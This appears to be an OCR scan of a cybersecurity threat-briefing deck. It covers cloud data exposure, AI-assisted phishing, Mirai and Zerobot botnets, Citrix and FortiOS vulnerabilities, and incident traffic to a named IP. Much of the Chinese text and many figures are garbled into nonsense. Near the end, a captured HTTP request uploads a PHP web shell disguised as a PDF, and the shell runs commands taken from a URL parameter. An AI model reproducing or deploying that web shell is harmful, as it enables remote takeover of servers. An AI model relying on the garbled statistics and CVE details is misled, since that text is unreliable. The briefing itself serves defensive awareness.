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Dramatic increasein
sensitive data reported

in the cloud.

754

l} of respondents report that
@ 40% or more of their daia
in the cloud is sensitive,
up from 49% in 2021.
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https://cpl.thalesgroup.com/cloud-
security-research#download-popup
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assessment of the threat environment.

B RIHGRE: https://www.cisa.gov/shields-ready



3Gkl 23 giu . == (S) B R =E = 2555
'\ > ~ § ‘E 7’ ® I l »¥ National Institute of Cyber Security

o RIEAIl FiEPortal 26823k State of Generative Al 2023
FHEEDL  SE/3%BRhBER NG SEEENTVAIRTE
EHAZEYN  8SSWXhEETZEREENEZ T E

e EAHIAINB RS - HEXWEEAHEEEHELUEA
WERANEEAEARNSR
— #81k(CelebritiesDeaths.com) &EFPHERZABHERE ZFE |

RI2FHFHAIER 2 XE - REAAEBAFREEHE - fIRRERES DERIER S
- NBESHEZBNENEERGBERCUNEMAINIENMEEE

o MIEZ =M EPerception Point 2024F s - 2023F R T 12 %8 2 BB
EERESE - HER2022F2B1 %EAE VAR - 2023FET218.6%

e Osterman Research 2023F#;=(The Role of Al in Email Security: Exclusive Report
by Osterman Research)#at 8118 - AAEIESEIERFERAIRE, - BiEE9 A £
BIEIGEERTNAIEE 7B

----------

10



(S) BRwE 225
l Dl National Institute of Cyber Security

HFERZ T/ BESE



b e 48 b8 e B 1B 5 (1/2)
o 1126518
14,213,863,692 R B B4

NIMNERE 2 B i HIE e AR IS W B R B

B RE &R 2 MK

National Institute of Cyber Security

- e

~BI 3B W EBHMARE X 7 A ERI(33%) ~ PE(9%) &0 (7%)

—-EHABRBZRZIEE  DSHEEERRS 2 NBERERE
~Hp#E26,546ARBEEA - LIMinilERHAEEESEES

= RRBERB RN EREAET

5,000,000,000
4,500,000,000
4,000,000,000
3,500,000,000
3,000,000,000

3,932,149,399

2,500,000,000
2,000,000,000
1,500,000,000
1,000,000,000

500,000,000

749,643,052

111,770,544

O |

HilE EiniEsl  FEEEM

4,701,615,442

202,602,683 57,992,497

Rtz QREER SFHH4

12



58 Ioe 48] % BB B 1B 5. (2/2)

o 112F MiraiZtE A E it ol 7 52
A SEITH Y IARETIE
~-FTEREHRAARRAHE - HEE

fm DVREV Bt HEERE
~PISBHEENRINEZEZHRIEZ
st - BB A RS R R E E

o [X| &4 Hit 4 52 B A s 2 W EE 8 B -
B SEEEY AR E ZHEE
ZEK  REEHBEELZES - &

% 175 18 52 Joe Al s R 2R

|i“ﬂ§ﬁﬁ§ém%ﬁ
]

National Institute of Cyber Security

Mirai&ig
SAEGEIEN - SREEITER
FH ZCVERE

"most ) EFEEN{ER113EY)
1R 2 CVE-2024-0778 I £

HC21a iR =3 U ARt

Zerobot iz B 48 8
HIRGORSEEZR o iR AR =
A B 2 H1T1E
FRRESE2SE - WEE

2% S FHER B A IS 1S =1

13



Bk P BS B B 155 (1/3)

¢ 112FSOCEBZRBEUNE L EIFIFTETL655,3921F « KBTI
AI3R D RIRmARE 1T A 2 5l 52 593,895 ~ SP3XBEHRA

ZECRIR
IRTFIRZ Bl 5 S

(8%)

\

(S]] EXEE 225 %5
l‘ ¥ National Institu

Institute of Cyber Security

=74, 72115 RN BTG A #S iEZ}\TxIQ £68,7571F

o [ SN EE BRI AR A3 70 All /11 BE (26%) ~ =B (23%) K ik ZEH

Nl S 7 IR

100%

80% -

60%

40% -

20% -

0% -

0 B4k
m EA

123456 7 8 9101112
B

m NL
m US
mRU
mJP
H SG
m DE
m GB
m HK
m CN
m FR
m KR
m RO

SE

IN

14



iskPh EE = L BB 1B 58 (2/3) Sy mEnms e mn

o 4785 1%%%2%1&% H 1R

. . =2 7 7 3
—Citrix4828:8 %R R(CVE-2023-4960) E Z A & 0 4T R LR
7 gE PR A HREESH
ARESEEEE]
NetScaler ADC 12.1-FIPS£12.1-55.297 2 0 2
NetScaler ADC 13.1-FIPS£13.1-37.159 R BAEIRERE 1 1 2
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1. BEIP(45.77.33.174) 5 S K BRA K & port 541 (B BRI port)
FEAAHFH] AEIP T oKHPort  HAYIP HEYPort  FAE Info
2024/4/10 17:47 45.77.33.174 53648 541 TCP
2024/4/10 17:47 19158 [45.77.33.174 30 TCP POST / A

2 WEAINEZEZGKGEEPOSTEIEE R 2 X EIP(45.77.33.174) port 80/443
© XZBRIP Port 80/443FE IEH #81h - BUIEAEE
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PhEEiE s

- BoEBAAERREMATERAEE - NAGIRIEME
wu’fﬁ% E%ﬁIE_EE%iEJ/XgZ}_EH—IFEﬁﬁ 1% %;-x
AESETRINE  Z2FRERENE - oJfHhE
R I EA L RE YR T

- EERBLIEREETHRACR  WAESHRESZZ @ 1

EREHEGRRYTRAEE ZCHRESE

Format String Bug in fgfmd

2024-04-10 P2:47:26 <00226> firmware FortiGate-80F W70, 120 build0523b0523.230606 (|
2024-04-10 P2:47:26 <D0226>fapplication Tglimsd _ _ =1
2024-04-10 P2:47:26 <0D0226>1*** signal 11 (Segmentation fault) received *** CE\/E 202? 231512 FG/FMC%*%Et%%FEﬁ
2024-04-10 P2:47:26 <00226> Kegister dump: y A 7 —
2024-04-10 P2:47:26 <00226> RO: 000 000004237758 R1: 0000000000000001 R2; 0000 —'I-ﬂE"I}X*&EHFﬁ$;LT—I B~
2024-04-10 P2:47:26 <00226> R3: 00000000FEFEFELE  Rd: 0000007{81d1b000  RS: 0000 Summary
2024-04-10 P2:47:26 <00226> R6: 0000000000000048  RT: fIfFFEFEEEEEEfcO  XR: 0ODO [RNumber — FG-IR-24-029
2024-04-10 P2:47:26 <D0226> RY: 0000007 fdb937048 R10: 0000000008bebc4d R1T1: OOy externally-controlled format string vulnerability [CWE-134] in FortiOS fgfmd daemon may allow a remote Date Feb 8, 2024
2024-04-10 N72:-47-26 <00276> B172- 0000000000000000 E13: 0000000000000020 [[4EiSEY] unauthenticated attacker to execute arbitrary code or commands via specially crafted requests. ’
)} 1050 IPO: 0D00007E81clcf10 IPL: O Seveity Critical
# diagnose debug crashlog read 00 R19: 0000000000000000  R20: 00 e s
: « 000 R22: 0000007fdb9355¢0  R23: Versi Affected Soluti
xxxx: [ Date & Time ] ..... J06e  R2ZS: 0000000000001018  R26: :'s::” 74:°: o U“':" ae pat ) =
3 i Wee  R28: 00000071db935218  FP: (0 fSCEEERS SRR e e i
Ly [ Date & Tlme ] """ 00OD0O4237758  sp: 0000007 FdbO3500() |E—_—— R R o o cedcor
xxxx: [ Date & Time ] ..... 2¢ 1r: 0000007f81c081c0 : SR PR s commands
s e B B v i 2 i v . o m v e Ju s v v vAv i e e paen agaif -PAN -U -\(}] FortiOS 7.0 7.0.0 through 7.0.13 Upgrade to 7.0.14 or above v VE-2024-23113 b
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Download Telegram Desktop
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Request Response

t Raw  Hex n = Pretty  Raw  Hex w =
1 POST /esoOrg/plan/uploadTmpFile/111 HITR/1.1 1 HTTRP/1.1 200 OK

| 2 Host: mmm 2 Date: Mon, 22 Apr 2024 05:39:24 GMT
( 3 Cookie: laravel_session= 3 server: Apache/2.4.57 (codeit) OpenSSL/3.0.9+quic PHP/5.6.31
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

IS1FBCcHVTY 245XCotc 2Nwdk 1 aUQod 2t 2Vm8obUSCeDBGWURBMLdUBEEYY 3Rc L 21 SZUk dwHhy S
v3s2LTkpudLpy Yk 1qSkUOUTOST 1wl bWF] I j 01 NDI3ZWF]N] Y yNmlUx OTc2ZGI 3N2Q1MTN] Y MSY
mRLM] UzNGV1 ZD1 hM2QwYWEX ODQBOGI SMY xNj RmMGF ] 0GLy Zi )9

User-Agent: Mozilla/S.0 (X11; Linux x86 64; rv:109.0) Gecko/20100101
Firefox/115.0

Accept: */*

Accept-Language: en-US,en;q=0.5

7 Accept-Encoding: gzip, deflate, br

n

~ 2\

-29011315714142465372541666976

O Content-Length:

Origin: https:// SEE

2 Referer: https://esH™Y  © St/ 111
13 Sec-Fetch-Dest: empty

Sec-Fetch-Mode: cors

Sec-Fetch-Site: same-origin

Te: trailers
7 Connection:

=

21U

close

290113157141424653,
form-data; name=*plan_filef;

20 Content-Disposition:
'1 Content-Type: application/pdf

<?php

& 1f (isset(p cET['emd'])) {
gemd = $ GET['cmd'];
system(gemd) ;

29011315714142465372541666976- -

eyJpdi 16T LRvOThk OFVoUNZORHESWEZy e XRSZHC SPST sTnzhbHVLI j oiUni2M2skdotqowshokd | 4
5 X-Powered-By: PHP/S.6.31

& Cache-Control:

8 X- Requested wlth XNLHttpRequest 8
& Connection:
10 Content-Type:

no-cache, private

Set-Cookie: laravel session=

eyIpdi16ImlndDdBEM3VEXCItdDZ0aWZET StSenpRPT 01 LCI2YWx 1ZST 6TkEsNGNmU] RITXhoSIN
4nmSclL 21 xeUgBb3RFSUJDT DRUVZNXQ21T S0hqdStOaz dHe StOMWIz SEMy SHd tRGRMa 2d) Zkp 1a0
TpTTd1 XCOORPwvQmIQeU96V1 tRPTOLLCItYWMI 01 T4N] cSNjkONGRI OT ZhY J c4ZWExYmZ1Y jhkM
2ES0GNhNzh L M] T400ULYT Zk ZWEyMWI yN] E3M] VmMT gx OTYwYTAWINO%3D; expires=Mon,
22-Apr-2024 07:39:24 GMT; Max-Age=7200; path=/; httponly

Content-Length: 135

close

application/json

24

"old_file_name":'1.php",
“fila_nam
"tmp_path":

"https:\/\ /< 4 ]

}

f.php",

-tmlx/iﬁ-ﬂiiiiﬁ-saf.uhp“ I
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